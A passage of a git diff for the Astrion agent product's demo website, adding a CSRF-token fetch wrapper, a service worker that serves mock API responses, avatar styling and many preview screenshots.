async function fetchCsrfToken(forceRefresh = false) { + if (!forceRefresh && csrfState.token) { + return csrfState.token; + } + if (csrfState.inflight && !forceRefresh) { + return csrfState.inflight; + } + csrfState.inflight = originalFetch('/api/csrf-token', { credentials: 'same-origin' }) + .then((resp) => { + if (!resp.ok) { + throw new Error('无法获取 CSRF token'); + } + return resp.json(); + }) + .then((data) => { + csrfState.token = data && data.token ? data.token : ''; + csrfState.inflight = null; + return csrfState.token; + }) + .catch((err) => { + csrfState.inflight = null; + csrfState.token = null; + throw err; + }); + return csrfState.inflight; + } + + function extractMethod(resource, options) { + if (options && options.method) { + return options.method; + } + const RequestCtor = typeof Request !== 'undefined' ? Request : null; + if (RequestCtor && resource instanceof RequestCtor && resource.method) { + return resource.method; + } + return 'GET'; + } + + function mergeHeaders(baseHeaders, extraHeaders) { + const merged = new Headers(baseHeaders || {}); + if (extraHeaders) { + new Headers(extraHeaders).forEach((value, key) => merged.set(key, value)); + } + return merged; + } + + async function secureFetch(resource, init) { + const RequestCtor = typeof Request !== 'undefined' ? Request : null; + let requestInfo = resource; + let options = init ? { ...init } : {}; + const method = (extractMethod(resource, options) || 'GET').toUpperCase(); + const needsProtection = !SAFE_METHODS.has(method); + + if (needsProtection) { + const token = await fetchCsrfToken(); + if (RequestCtor && resource instanceof RequestCtor) { + const merged = mergeHeaders(resource.headers, options.headers); + merged.set('X-CSRF-Token', token); + requestInfo = new RequestCtor(resource, { headers: merged }); + if (options.headers) { + options = { ...options }; + delete options.headers; + } + } else { + const headers = mergeHeaders(null, options.headers); + headers.set('X-CSRF-Token', token); + options.headers = headers; + } + } + return originalFetch(requestInfo, options); + } + + async function requestSocketToken() { + const resp = await originalFetch('/api/socket-token', { credentials: 'same-origin' }); + if (!resp.ok) { + throw new Error('无法获取实时连接凭证'); + } + const data = await resp.json(); + if (!data || !data.success || !data.token) { + throw new Error((data && data.error) || '实时连接凭证无效'); + } + return data.token; + } + + window.fetch = function (resource, init) { + return secureFetch(resource, init); + }; + + window.ensureCsrfToken = fetchCsrfToken; + window.refreshCsrfToken = () => fetchCsrfToken(true); + window.requestSocketToken = requestSocketToken; + window.secureFetch = secureFetch; +})(); diff --git a/website-design/exp/static/style.css b/website-design/exp/static/style.css new file mode 100644 index 00000000..7bcef097 --- /dev/null +++ b/website-design/exp/static/style.css @@ -0,0 +1,2 @@ +/* 新版 Vite 样式 */ +@import url('/static/dist/assets/main.css?v=20251125'); diff --git a/website-design/exp/sw.js b/website-design/exp/sw.js new file mode 100644 index 00000000..eacf70a2 --- /dev/null +++ b/website-design/exp/sw.js @@ -0,0 +1,207 @@ +/* Astrion 官网演示 —— Service Worker:API 静态 mock + * + * 真实前端构建产物原样运行,本 SW 拦截数据层: + * - /api/* → mock/*.json 静态响应 + * - /socket.io/* → 503(前端自动降级 REST 轮询) + * - 导航请求 → demo.html(支撑 history 路由刷新) + * - 其余 → 放行 + */ + +const DEMO_PAGE = '/demo.html'; +const CACHE = 'astrion-demo-v4'; + +/* ── 静态响应体 ── */ + +const MODELS = { + items: [ + { + context_window: 256000, description: 'Kimi-K3', fast_only: false, + max_output_tokens: 32768, model_key: 'Kimi-K3', multimodal: 'image,video', + name: 'Kimi-K3', supports_reasoning_effort: false, supports_thinking: true, + thinking_only: false, visible: true + } + ] +}; + +const SESSION_STATUS = { + success: true, + session: { host_mode: true, logged_in: true, role: 'admin', run_mode: 'thinking', thinking_mode: true, username: 'host' } +}; + +const WORKSPACES = { + success: true, + data: { + current_workspace_id: 'ws-daily', + default_workspace_id: 'ws-daily', + workspaces: [ + { workspace_id: 'ws-daily', label: '日常使用', path: '/Users/demo/daily', is_current: true, running_task_count: 0 }, + { workspace_id: 'ws-starraid', label: 'StarRaid', path: '/Users/demo/starraid', is_current: false, running_task_count: 0 }, + { workspace_id: 'ws-dev', label: '开发实战', path: '/Users/demo/dev', is_current: false, running_task_count: 0 } + ] + } +}; + +const UI_BLOCKS = { + block_compress_conversation: false, block_conversation_review: false, + block_file_manager: false, block_focus_panel: false, block_personal_space: false, + block_realtime_terminal: false, block_token_panel: false, block_tool_toggle: false, + block_upload: false, block_virtual_monitor: false, collapse_workspace: false +}; + +const STATUS = { + success: true, + version: '2026-08-23', + host_mode: true, + admin_policy: { disabled_models: [], forced_category_states: {}, ui_blocks: UI_BLOCKS, version: '2026-08-23' } +}; + +const PERSONALIZATION = { + success: true, + data: { + theme: 'classic', + block_display_mode: 'minimal', + compact_message_display: 'brief', + communication_style: 'auto', + conversation_continuity: 'medium', + agents_md_auto_inject: true, + auto_deep_compress_enabled: true, + auto_generate_title: true, + auto_shallow_compress_enabled: false + }, + context_compression_settings: { + context_window_tokens: 256000, deep_trigger_tokens: 256000, + shallow_keep_recent_tools: 15, shallow_keep_user_turn_tools: 3, + shallow_max_replace_per_round: 10, shallow_trigger_tokens: 1000, + shallow_trigger_tool_calls_interval: 10 + } +}; + +const WORK_MODE = { success: true, mode: 'execute', options: ['plan', 'ask', 'execute'], permission_mode: 'unrestricted', execution_mode: 'sandbox' }; +const PERMISSION_MODE = { success: true, mode: 'unrestricted', options: ['readonly', 'approval', 'auto_approval', 'unrestricted'], pending_mode: null }; +const EXECUTION_MODE = { success: true, enabled: true, options: ['sandbox', 'direct'], pending_mode: null, state: { default_mode: 'sandbox', mode: 'sandbox' } }; +const NETWORK_PERMISSION = { success: true, enabled: true, mode: 'restricted', options: ['restricted', 'full', 'none'], pending_mode: null }; +const TUTORIAL = { success: true, data: { applicable: false, should_prompt: false, tutorial_completed: true, username: 'host' } }; +const USAGE = { success: true, data: { quotas: { fast: { count: 0, limit: 200 }, thinking: { count: 0, limit: 200 }, search: { count: 0, limit: 20 } }, role: 'user' } }; +const EMPTY_OK = { success: true, data: {} }; +const EMPTY_LIST = { success: true, data: [] }; +const GIT_SUMMARY = { success: true, data: { available: false } }; + +function json(body, status = 200) { + return new Response(JSON.stringify(body), { + status, + headers: { 'Content-Type': 'application/json; charset=utf-8', 'Cache-Control': 'no-store' } + }); +} + +/* ── 安装:预缓存演示页 ── */ +self.addEventListener('install', (e) => { + e.waitUntil(caches.open(CACHE).then((c) => c.add(DEMO_PAGE)).then(() => self.skipWaiting())); +}); + +self.addEventListener('activate', (e) => { + e.waitUntil( + caches.keys() + .then((keys) => Promise.all(keys.filter((k) => k !== CACHE).map((k) => caches.delete(k)))) + .then(() => self.clients.claim()) + ); +}); + +/* ── 请求路由 ── */ +self.addEventListener('fetch', (e) => { + const url = new URL(e.request.url); + if (url.origin !== self.location.origin) return; + + // 导航请求:仅前端对话路由(/new、/)回退到演示页;真实文件放行 + if (e.request.mode === 'navigate') { + const isAppRoute = /^\/(?:conv_)?\d{8}_\d{6}_\d{3}$/.test(url.pathname) || url.pathname === '/new'; + if (isAppRoute) { + e.respondWith(caches.match(DEMO_PAGE).then((r) => r || fetch(DEMO_PAGE))); + } + return; + } + + // socket.io → 断连(前端降级 REST 轮询) + if (url.pathname.startsWith('/socket.io/')) { + e.respondWith(new Response('demo: realtime disabled', { status: 503 })); + return; + } + + if (!url.pathname.startsWith('/api/')) return; // 静态资源放行 + + e.respondWith(routeApi(url)); +}); + +async function routeApi(url) { + const p = url.pathname; + + // 子智能体活动详情 + const actMatch = p.match(/^\/api\/sub_agents\/(sub_[\w-]+)\/activity$/); + if (actMatch) { + const r = await fetch(`/mock/activity-${actMatch[1]}.json`); + if (r.ok) return new Response(await r.text(), { headers: { 'Content-Type': 'application/json; charset=utf-8' } }); + return json({ success: true, data: { status: 'completed', entries: [] } }); + } + + // 子智能体列表 + if (p === '/api/sub_agents') { + const convId = url.searchParams.get('conversation_id') || ''; + const r = await fetch(`/mock/sub-agents-${convId}.json`); + if (r.ok) return new Response(await r.text(), { headers: { 'Content-Type': 'application/json; charset=utf-8' } }); + return json({ success: true, data: [] }); + } + + // 多智能体活跃实例(演示无) + if (p === '/api/multiagent/active_sub_agents') return json({ success: true, agents: [] }); + + // 待办 / 后台命令(演示对话为空) + if (p === '/api/todo-list') return json({ success: true, data: null }); + if (p === '/api/background_commands') return json({ success: true, data: [] }); + + // 文件预览(快捷窗口点文件名):返回真实调研报告内容 + if (p === '/api/file/content') { + const name = (url.searchParams.get('path') || '').split('/').pop(); + const r = await fetch(`/mock/file-${name}`); + if (r.ok) return new Response(await r.text(), { headers: { 'Content-Type': 'text/plain; charset=utf-8' } }); + return new Response('演示环境没有该文件', { status: 404 }); + } + + // 对话 bootstrap + const bootMatch = p.match(/^\/api\/conversations\/(conv_[\w-]+)\/bootstrap$/); + if (bootMatch) { + const r = await fetch(`/mock/bootstrap-${bootMatch[1]}.json`); + if (r.ok) return new Response(await r.text(), { headers: { 'Content-Type': 'application/json; charset=utf-8' } }); + return json({ success: false, error: '对话不存在' }, 404); + } + + // 对话列表 + if (p === '/api/conversations') { + const ma = url.searchParams.get('multi_agent_mode') === '1'; + const r = await fetch(`/mock/conversations-${ma ? 'ma' : 'normal'}.json`); + return new Response(await r.text(), { headers: { 'Content-Type': 'application/json; charset=utf-8' } }); + } + + // 各状态端点 + if (p === '/api/session-status') return json(SESSION_STATUS); + if (p === '/api/csrf-token') return json({ success: true, csrf_token: 'demo' }); + if (p === '/api/v1/models') return json(MODELS); + if (p === '/api/host/workspaces') return json(WORKSPACES); + if (p === '/api/status') return json(STATUS); + if (p === '/api/personalization') return json(PERSONALIZATION); + if (p === '/api/work-mode') return json(WORK_MODE); + if (p === '/api/permission-mode') return json(PERMISSION_MODE); + if (p === '/api/execution-mode') return json(EXECUTION_MODE); + if (p === '/api/network-permission') return json(NETWORK_PERMISSION); + if (p === '/api/tutorial-status') return json(TUTORIAL); + if (p === '/api/usage') return json(USAGE); + if (p === '/api/project/git-summary') return json(GIT_SUMMARY); + if (p === '/api/health') return json({ status: 'ok' }); + if (p === '/api/focused') return json({}); + if (p === '/api/tasks' || p === '/api/terminals') return json(EMPTY_LIST); + if (p === '/api/tool-settings') return json({ success: true, categories: [] }); + if (p === '/api/effective-policy') return json({ success: true, data: { categories: {} } }); + if (p === '/api/project-storage') return json(EMPTY_OK); + if (p === '/api/input-draft') return json(EMPTY_OK); + + // 兜底 + return json(EMPTY_OK); +} diff --git a/website-design/exp/test-scale.html b/website-design/exp/test-scale.html new file mode 100644 index 00000000..ab090a0c --- /dev/null +++ b/website-design/exp/test-scale.html @@ -0,0 +1,57 @@ + + + + + scale 验证 + + + +
+

演示区(容器宽 1032px,iframe 内部按 1400px 排版后等比缩至 0.737)

+
+
+ +
+
+
+ + + + diff --git a/website-design/previews/anim2-scene-v2.png b/website-design/previews/anim2-scene-v2.png new file mode 100644 index 00000000..653df7cc Binary files /dev/null and b/website-design/previews/anim2-scene-v2.png differ diff --git a/website-design/previews/anim2-scene.png b/website-design/previews/anim2-scene.png new file mode 100644 index 00000000..49255c8e Binary files /dev/null and b/website-design/previews/anim2-scene.png differ diff --git a/website-design/previews/anim2-v3-flight.png b/website-design/previews/anim2-v3-flight.png new file mode 100644 index 00000000..4911393f Binary files /dev/null and b/website-design/previews/anim2-v3-flight.png differ diff --git a/website-design/previews/anim2-v4-flight.png b/website-design/previews/anim2-v4-flight.png new file mode 100644 index 00000000..b8c419b5 Binary files /dev/null and b/website-design/previews/anim2-v4-flight.png differ diff --git a/website-design/previews/anim2-v5-flight.png b/website-design/previews/anim2-v5-flight.png new file mode 100644 index 00000000..8216173a Binary files /dev/null and b/website-design/previews/anim2-v5-flight.png differ diff --git a/website-design/previews/anim2-v5-impact.png b/website-design/previews/anim2-v5-impact.png new file mode 100644 index 00000000..d1666085 Binary files /dev/null and b/website-design/previews/anim2-v5-impact.png differ diff --git a/website-design/previews/anim2-v5-network.png b/website-design/previews/anim2-v5-network.png new file mode 100644 index 00000000..dc4d63d7 Binary files /dev/null and b/website-design/previews/anim2-v5-network.png differ diff --git a/website-design/previews/anim2-v6-net.png b/website-design/previews/anim2-v6-net.png new file mode 100644 index 00000000..e6384d01 Binary files /dev/null and b/website-design/previews/anim2-v6-net.png differ diff --git a/website-design/previews/anim2-v6-t13.png b/website-design/previews/anim2-v6-t13.png new file mode 100644 index 00000000..84fcc99e Binary files /dev/null and b/website-design/previews/anim2-v6-t13.png differ diff --git a/website-design/previews/anim2-v6-t20.png b/website-design/previews/anim2-v6-t20.png new file mode 100644 index 00000000..2f0fed1c Binary files /dev/null and b/website-design/previews/anim2-v6-t20.png differ diff --git a/website-design/previews/anim2-v6-t29.png b/website-design/previews/anim2-v6-t29.png new file mode 100644 index 00000000..24f10473 Binary files /dev/null and b/website-design/previews/anim2-v6-t29.png differ diff --git a/website-design/previews/anim2-v7-end.png b/website-design/previews/anim2-v7-end.png new file mode 100644 index 00000000..6a5bcce6 Binary files /dev/null and b/website-design/previews/anim2-v7-end.png differ diff --git a/website-design/previews/anim2-v7-t15.png b/website-design/previews/anim2-v7-t15.png new file mode 100644 index 00000000..e96e04f8 Binary files /dev/null and b/website-design/previews/anim2-v7-t15.png differ diff --git a/website-design/previews/anim2-v7-t21.png b/website-design/previews/anim2-v7-t21.png new file mode 100644 index 00000000..2301e305 Binary files /dev/null and b/website-design/previews/anim2-v7-t21.png differ diff --git a/website-design/previews/anim2-v7-t32.png b/website-design/previews/anim2-v7-t32.png new file mode 100644 index 00000000..0d485180 Binary files /dev/null and b/website-design/previews/anim2-v7-t32.png differ diff --git a/website-design/previews/anim3-v1-t0.png b/website-design/previews/anim3-v1-t0.png new file mode 100644 index 00000000..0f183585 Binary files /dev/null and b/website-design/previews/anim3-v1-t0.png differ diff --git a/website-design/previews/anim3-v1-t1.png b/website-design/previews/anim3-v1-t1.png new file mode 100644 index 00000000..17979990 Binary files /dev/null and b/website-design/previews/anim3-v1-t1.png differ diff --git a/website-design/previews/anim3-v1-t2.png b/website-design/previews/anim3-v1-t2.png new file mode 100644 index 00000000..bed121f0 Binary files /dev/null and b/website-design/previews/anim3-v1-t2.png differ diff --git a/website-design/previews/anim3-v1-t3.png b/website-design/previews/anim3-v1-t3.png new file mode 100644 index 00000000..a7a3492b Binary files /dev/null and b/website-design/previews/anim3-v1-t3.png differ diff --git a/website-design/previews/anim3-v2-t0.png b/website-design/previews/anim3-v2-t0.png new file mode 100644 index 00000000..e982a3c8 Binary files /dev/null and b/website-design/previews/anim3-v2-t0.png differ diff --git a/website-design/previews/anim3-v2-t1.png b/website-design/previews/anim3-v2-t1.png new file mode 100644 index 00000000..78722573 Binary files /dev/null and b/website-design/previews/anim3-v2-t1.png differ diff --git a/website-design/previews/anim3-v2-t2.png b/website-design/previews/anim3-v2-t2.png new file mode 100644 index 00000000..c21cf8f6 Binary files /dev/null and b/website-design/previews/anim3-v2-t2.png differ diff --git a/website-design/previews/anim3-v2-t3.png b/website-design/previews/anim3-v2-t3.png new file mode 100644 index 00000000..21d220f8 Binary files /dev/null and b/website-design/previews/anim3-v2-t3.png differ diff --git a/website-design/previews/anim3-v3-t0.png b/website-design/previews/anim3-v3-t0.png new file mode 100644 index 00000000..e21991b2 Binary files /dev/null and b/website-design/previews/anim3-v3-t0.png differ diff --git a/website-design/previews/anim3-v3-t1.png b/website-design/previews/anim3-v3-t1.png new file mode 100644 index 00000000..81ed8a3e Binary files /dev/null and b/website-design/previews/anim3-v3-t1.png differ diff --git a/website-design/previews/anim3-v4-t0.png b/website-design/previews/anim3-v4-t0.png new file mode 100644 index 00000000..d799dbc2 Binary files /dev/null and b/website-design/previews/anim3-v4-t0.png differ diff --git a/website-design/previews/anim3-v4-t1.png b/website-design/previews/anim3-v4-t1.png new file mode 100644 index 00000000..9ea10af5 Binary files /dev/null and b/website-design/previews/anim3-v4-t1.png differ diff --git a/website-design/previews/anim3-v4-t2.png b/website-design/previews/anim3-v4-t2.png new file mode 100644 index 00000000..61f74085 Binary files /dev/null and b/website-design/previews/anim3-v4-t2.png differ diff --git a/website-design/previews/anim3-v5-erase-mid.png b/website-design/previews/anim3-v5-erase-mid.png new file mode 100644 index 00000000..c04a9507 Binary files /dev/null and b/website-design/previews/anim3-v5-erase-mid.png differ diff --git a/website-design/previews/anim3-v5-erase.png b/website-design/previews/anim3-v5-erase.png new file mode 100644 index 00000000..f3c2a4f8 Binary files /dev/null and b/website-design/previews/anim3-v5-erase.png differ diff --git a/website-design/previews/anim3-v5-final.png b/website-design/previews/anim3-v5-final.png new file mode 100644 index 00000000..d03e919c Binary files /dev/null and b/website-design/previews/anim3-v5-final.png differ diff --git a/website-design/previews/anim3-v5-write.png b/website-design/previews/anim3-v5-write.png new file mode 100644 index 00000000..566eca58 Binary files /dev/null and b/website-design/previews/anim3-v5-write.png differ diff --git a/website-design/previews/anim3-v6-penzoom.png b/website-design/previews/anim3-v6-penzoom.png new file mode 100644 index 00000000..5977dd65 Binary files /dev/null and b/website-design/previews/anim3-v6-penzoom.png differ diff --git a/website-design/previews/anim3-v6-penzoom2.png b/website-design/previews/anim3-v6-penzoom2.png new file mode 100644 index 00000000..82c0e142 Binary files /dev/null and b/website-design/previews/anim3-v6-penzoom2.png differ diff --git a/website-design/previews/anim3-v6-t0.png b/website-design/previews/anim3-v6-t0.png new file mode 100644 index 00000000..f0d4d533 Binary files /dev/null and b/website-design/previews/anim3-v6-t0.png differ diff --git a/website-design/previews/anim3-v6-t0b.png b/website-design/previews/anim3-v6-t0b.png new file mode 100644 index 00000000..6b67b513 Binary files /dev/null and b/website-design/previews/anim3-v6-t0b.png differ diff --git a/website-design/previews/anim3-v7-clean.png b/website-design/previews/anim3-v7-clean.png new file mode 100644 index 00000000..e1b0caa0 Binary files /dev/null and b/website-design/previews/anim3-v7-clean.png differ diff --git a/website-design/previews/anim3-v7-erase.png b/website-design/previews/anim3-v7-erase.png new file mode 100644 index 00000000..27fed67f Binary files /dev/null and b/website-design/previews/anim3-v7-erase.png differ diff --git a/website-design/previews/anim3-v7-final.png b/website-design/previews/anim3-v7-final.png new file mode 100644 index 00000000..36a99df9 Binary files /dev/null and b/website-design/previews/anim3-v7-final.png differ diff --git a/website-design/previews/anim3-v7-flip.png b/website-design/previews/anim3-v7-flip.png new file mode 100644 index 00000000..b78c4777 Binary files /dev/null and b/website-design/previews/anim3-v7-flip.png differ diff --git a/website-design/previews/anim3-v7-home.png b/website-design/previews/anim3-v7-home.png new file mode 100644 index 00000000..c9ae15e8 Binary files /dev/null and b/website-design/previews/anim3-v7-home.png differ diff --git a/website-design/previews/anim3-v7-write.png b/website-design/previews/anim3-v7-write.png new file mode 100644 index 00000000..f2e7a8b4 Binary files /dev/null and b/website-design/previews/anim3-v7-write.png differ diff --git a/website-design/previews/anim3-v8-erasezoom.png b/website-design/previews/anim3-v8-erasezoom.png new file mode 100644 index 00000000..01540965 Binary files /dev/null and b/website-design/previews/anim3-v8-erasezoom.png differ diff --git a/website-design/previews/anim3-v8-final.png b/website-design/previews/anim3-v8-final.png new file mode 100644 index 00000000..a11c6041 Binary files /dev/null and b/website-design/previews/anim3-v8-final.png differ diff --git a/website-design/previews/anim3-v8-home.png b/website-design/previews/anim3-v8-home.png new file mode 100644 index 00000000..6588e159 Binary files /dev/null and b/website-design/previews/anim3-v8-home.png differ diff --git a/website-design/previews/anim3-v8-nibzoom.png b/website-design/previews/anim3-v8-nibzoom.png new file mode 100644 index 00000000..82889c15 Binary files /dev/null and b/website-design/previews/anim3-v8-nibzoom.png differ diff --git a/website-design/previews/anim3-v8-writezoom.png b/website-design/previews/anim3-v8-writezoom.png new file mode 100644 index 00000000..3095fe4e Binary files /dev/null and b/website-design/previews/anim3-v8-writezoom.png differ diff --git a/website-design/previews/avatar-demo.png b/website-design/previews/avatar-demo.png new file mode 100644 index 00000000..720d6168 Binary files /dev/null and b/website-design/previews/avatar-demo.png differ diff --git a/website-design/previews/box-front-shape.png b/website-design/previews/box-front-shape.png new file mode 100644 index 00000000..3a4db954 Binary files /dev/null and b/website-design/previews/box-front-shape.png differ diff --git a/website-design/previews/exp-agent-detail-2.png b/website-design/previews/exp-agent-detail-2.png new file mode 100644 index 00000000..4d856ca2 Binary files /dev/null and b/website-design/previews/exp-agent-detail-2.png differ diff --git a/website-design/previews/exp-agent-detail.png b/website-design/previews/exp-agent-detail.png new file mode 100644 index 00000000..3451a7fa Binary files /dev/null and b/website-design/previews/exp-agent-detail.png differ diff --git a/website-design/previews/exp-demo-1.png b/website-design/previews/exp-demo-1.png new file mode 100644 index 00000000..858798c1 Binary files /dev/null and b/website-design/previews/exp-demo-1.png differ diff --git a/website-design/previews/exp-demo-2.png b/website-design/previews/exp-demo-2.png new file mode 100644 index 00000000..2820da39 Binary files /dev/null and b/website-design/previews/exp-demo-2.png differ diff --git a/website-design/previews/exp-demo-3.png b/website-design/previews/exp-demo-3.png new file mode 100644 index 00000000..212ad2f6 Binary files /dev/null and b/website-design/previews/exp-demo-3.png differ diff --git a/website-design/previews/exp-dock-check.png b/website-design/previews/exp-dock-check.png new file mode 100644 index 00000000..84a87d9b Binary files /dev/null and b/website-design/previews/exp-dock-check.png differ diff --git a/website-design/previews/exp-dock-open.png b/website-design/previews/exp-dock-open.png new file mode 100644 index 00000000..6cdf7eb2 Binary files /dev/null and b/website-design/previews/exp-dock-open.png differ diff --git a/website-design/previews/exp-scale-1.png b/website-design/previews/exp-scale-1.png new file mode 100644 index 00000000..e9be7bed Binary files /dev/null and b/website-design/previews/exp-scale-1.png differ diff --git a/website-design/previews/flash-00.png b/website-design/previews/flash-00.png new file mode 100644 index 00000000..62ec1a49 Binary files /dev/null and b/website-design/previews/flash-00.png differ diff --git a/website-design/previews/flash-01.png b/website-design/previews/flash-01.png new file mode 100644 index 00000000..169c7b4c Binary files /dev/null and b/website-design/previews/flash-01.png differ diff --git a/website-design/previews/flash-02.png b/website-design/previews/flash-02.png new file mode 100644 index 00000000..32925747 Binary files /dev/null and b/website-design/previews/flash-02.png differ diff --git a/website-design/previews/flash-03.png b/website-design/previews/flash-03.png new file mode 100644 index 00000000..63843e0a Binary files /dev/null and b/website-design/previews/flash-03.png differ diff --git a/website-design/previews/flash-04.png b/website-design/previews/flash-04.png new file mode 100644 index 00000000..800bea15 Binary files /dev/null and b/website-design/previews/flash-04.png differ diff --git a/website-design/previews/flash-05.png b/website-design/previews/flash-05.png new file mode 100644 index 00000000..32b90852 Binary files /dev/null and b/website-design/previews/flash-05.png differ diff --git a/website-design/previews/flash-06.png b/website-design/previews/flash-06.png new file mode 100644 index 00000000..7b548a7f Binary files /dev/null and b/website-design/previews/flash-06.png differ diff --git a/website-design/previews/flash-07.png b/website-design/previews/flash-07.png new file mode 100644 index 00000000..f5a8087d Binary files /dev/null and b/website-design/previews/flash-07.png differ diff --git a/website-design/previews/flash-08.png b/website-design/previews/flash-08.png new file mode 100644 index 00000000..cc70c692 Binary files /dev/null and b/website-design/previews/flash-08.png differ diff --git a/website-design/previews/flash-09.png b/website-design/previews/flash-09.png new file mode 100644 index 00000000..e7e30842 Binary files /dev/null and b/website-design/previews/flash-09.png differ diff --git a/website-design/previews/flash-10.png b/website-design/previews/flash-10.png new file mode 100644 index 00000000..b282a40d Binary files /dev/null and b/website-design/previews/flash-10.png differ diff --git a/website-design/previews/flash-11.png b/website-design/previews/flash-11.png new file mode 100644 index 00000000..414a095a Binary files /dev/null and b/website-design/previews/flash-11.png differ diff --git a/website-design/previews/flip-f0.png b/website-design/previews/flip-f0.png new file mode 100644 index 00000000..20d02405 Binary files /dev/null and b/website-design/previews/flip-f0.png differ diff --git a/website-design/previews/flip-f1.png b/website-design/previews/flip-f1.png new file mode 100644 index 00000000..07d5063b Binary files /dev/null and b/website-design/previews/flip-f1.png differ diff --git a/website-design/previews/flip-f2.png b/website-design/previews/flip-f2.png new file mode 100644 index 00000000..8611dabc Binary files /dev/null and b/website-design/previews/flip-f2.png differ diff --git a/website-design/previews/flip-f3.png b/website-design/previews/flip-f3.png new file mode 100644 index 00000000..0a22240d Binary files /dev/null and b/website-design/previews/flip-f3.png differ diff --git a/website-design/previews/flip-f4.png b/website-design/previews/flip-f4.png new file mode 100644 index 00000000..59bb614e Binary files /dev/null and b/website-design/previews/flip-f4.png differ diff --git a/website-design/previews/flip-f5.png b/website-design/previews/flip-f5.png new file mode 100644 index 00000000..0c280c4f Binary files /dev/null and b/website-design/previews/flip-f5.png differ diff --git a/website-design/previews/home-02-anim.png b/website-design/previews/home-02-anim.png new file mode 100644 index 00000000..27825567 Binary files /dev/null and b/website-design/previews/home-02-anim.png differ diff --git a/website-design/previews/quickdock-fixed.png b/website-design/previews/quickdock-fixed.png new file mode 100644 index 00000000..5a407886 Binary files /dev/null and b/website-design/previews/quickdock-fixed.png differ diff --git a/website-design/previews/site-anim-integrated.png b/website-design/previews/site-anim-integrated.png new file mode 100644 index 00000000..335a9c37 Binary files /dev/null and b/website-design/previews/site-anim-integrated.png differ diff --git a/website-design/previews/site-demo-filepreview.png b/website-design/previews/site-demo-filepreview.png new file mode 100644 index 00000000..82606996 Binary files /dev/null and b/website-design/previews/site-demo-filepreview.png differ diff --git a/website-design/previews/site-demo-v2.png b/website-design/previews/site-demo-v2.png new file mode 100644 index 00000000..86080c91 Binary files /dev/null and b/website-design/previews/site-demo-v2.png differ diff --git a/website-design/previews/site-demo-v3.png b/website-design/previews/site-demo-v3.png new file mode 100644 index 00000000..311508b6 Binary files /dev/null and b/website-design/previews/site-demo-v3.png differ diff --git a/website-design/previews/site-features-v2.png b/website-design/previews/site-features-v2.png new file mode 100644 index 00000000..4ee1a01b Binary files /dev/null and b/website-design/previews/site-features-v2.png differ diff --git a/website-design/previews/site-features-v3.png b/website-design/previews/site-features-v3.png new file mode 100644 index 00000000..37e562a3 Binary files /dev/null and b/website-design/previews/site-features-v3.png differ diff --git a/website-design/previews/site-features-v4.png b/website-design/previews/site-features-v4.png new file mode 100644 index 00000000..f722607e Binary files /dev/null and b/website-design/previews/site-features-v4.png differ diff --git a/website-design/previews/site-full-v2.png b/website-design/previews/site-full-v2.png new file mode 100644 index 00000000..b42348d1 Binary files /dev/null and b/website-design/previews/site-full-v2.png differ diff --git a/website-design/previews/site-hero-v2.png b/website-design/previews/site-hero-v2.png new file mode 100644 index 00000000..2395496e Binary files /dev/null and b/website-design/previews/site-hero-v2.png differ diff --git a/website-design/previews/swap-f0.png b/website-design/previews/swap-f0.png new file mode 100644 index 00000000..51eeeabc Binary files /dev/null and b/website-design/previews/swap-f0.png differ diff --git a/website-design/previews/swap-f1.png b/website-design/previews/swap-f1.png new file mode 100644 index 00000000..4c9c5584 Binary files /dev/null and b/website-design/previews/swap-f1.png differ diff --git a/website-design/previews/swap-f2.png b/website-design/previews/swap-f2.png new file mode 100644 index 00000000..444311b8 Binary files /dev/null and b/website-design/previews/swap-f2.png differ diff --git a/website-design/previews/swap-f3.png b/website-design/previews/swap-f3.png new file mode 100644 index 00000000..8cf1a58a Binary files /dev/null and b/website-design/previews/swap-f3.png differ diff --git a/website-design/previews/swap-f4.png b/website-design/previews/swap-f4.png new file mode 100644 index 00000000..8f95c40f Binary files /dev/null and b/website-design/previews/swap-f4.png differ diff --git a/website-design/previews/v1-editorial-full.png b/website-design/previews/v1-editorial-full.png new file mode 100644 index 00000000..d568b27e Binary files /dev/null and b/website-design/previews/v1-editorial-full.png differ diff --git a/website-design/previews/v1-editorial-hero.png b/website-design/previews/v1-editorial-hero.png new file mode 100644 index 00000000..b09d117c Binary files /dev/null and b/website-design/previews/v1-editorial-hero.png differ diff --git a/website-design/previews/v2-stardust-full.png b/website-design/previews/v2-stardust-full.png new file mode 100644 index 00000000..68a556aa Binary files /dev/null and b/website-design/previews/v2-stardust-full.png differ diff --git a/website-design/previews/v2-stardust-hero.png b/website-design/previews/v2-stardust-hero.png new file mode 100644 index 00000000..c7d04511 Binary files /dev/null and b/website-design/previews/v2-stardust-hero.png differ diff --git a/website-design/previews/v3-terminal-full.png b/website-design/previews/v3-terminal-full.png new file mode 100644 index 00000000..00a2dab3 Binary files /dev/null and b/website-design/previews/v3-terminal-full.png differ diff --git a/website-design/previews/v4-full.png b/website-design/previews/v4-full.png new file mode 100644 index 00000000..d71d35f0 Binary files /dev/null and b/website-design/previews/v4-full.png differ diff --git a/website-design/previews/v4-hero.png b/website-design/previews/v4-hero.png new file mode 100644 index 00000000..c8afb2b7 Binary files /dev/null and b/website-design/previews/v4-hero.png differ diff --git a/website-design/shared/astrion-avatar.css b/website-design/shared/astrion-avatar.css new file mode 100644 index 00000000..cdaef8d8 --- /dev/null +++ b/website-design/shared/astrion-avatar.css @@ -0,0 +1,47 @@ +/* Astrion 品牌形象组件 —— 六边形 + 双眼 + * 参数精确还原 static/src/components/avatar/StatusAvatar.vue: + * viewBox 0 0 200 200,flat-top 圆角正六边形 + * idle 态:外框 stroke-width 12,眼睛 stroke-width 10,全部 currentColor + * 眼睛竖线位于 (84,96) / (116,96),长 22 + * 颜色永远跟随上下文文字色(currentColor),禁止单独上色。 + */ + +.astrion-avatar { + display: block; + color: inherit; + overflow: visible; +} + +.aa-frame { + fill: none; + stroke: currentColor; + stroke-width: 12; + stroke-linecap: round; + stroke-linejoin: round; +} + +.aa-eye { + fill: none; + stroke: currentColor; + stroke-width: 10; + stroke-linecap: round; + stroke-linejoin: round; +} + +/* 思考表情:三个波浪圆点(r=7,位于 80/100/120) */ +.aa-think-dot { + fill: currentColor; + animation: aa-think-wave 1.6s ease-in-out infinite; +} +.aa-think-dot:nth-child(1) { animation-delay: -0.48s; } +.aa-think-dot:nth-child(2) { animation-delay: -0.32s; } +.aa-think-dot:nth-child(3) { animation-delay: -0.16s; } + +@keyframes aa-think-wave { + 0%, 100% { transform: translateY(0); } + 50% { transform: translateY(-12px); } +} + +@media (prefers-reduced-motion: reduce) { + .aa-think-dot { animation: none; } +} diff --git a/website-design/shared/astrion-avatar.js b/website-design/shared/astrion-avatar.js new file mode 100644 index 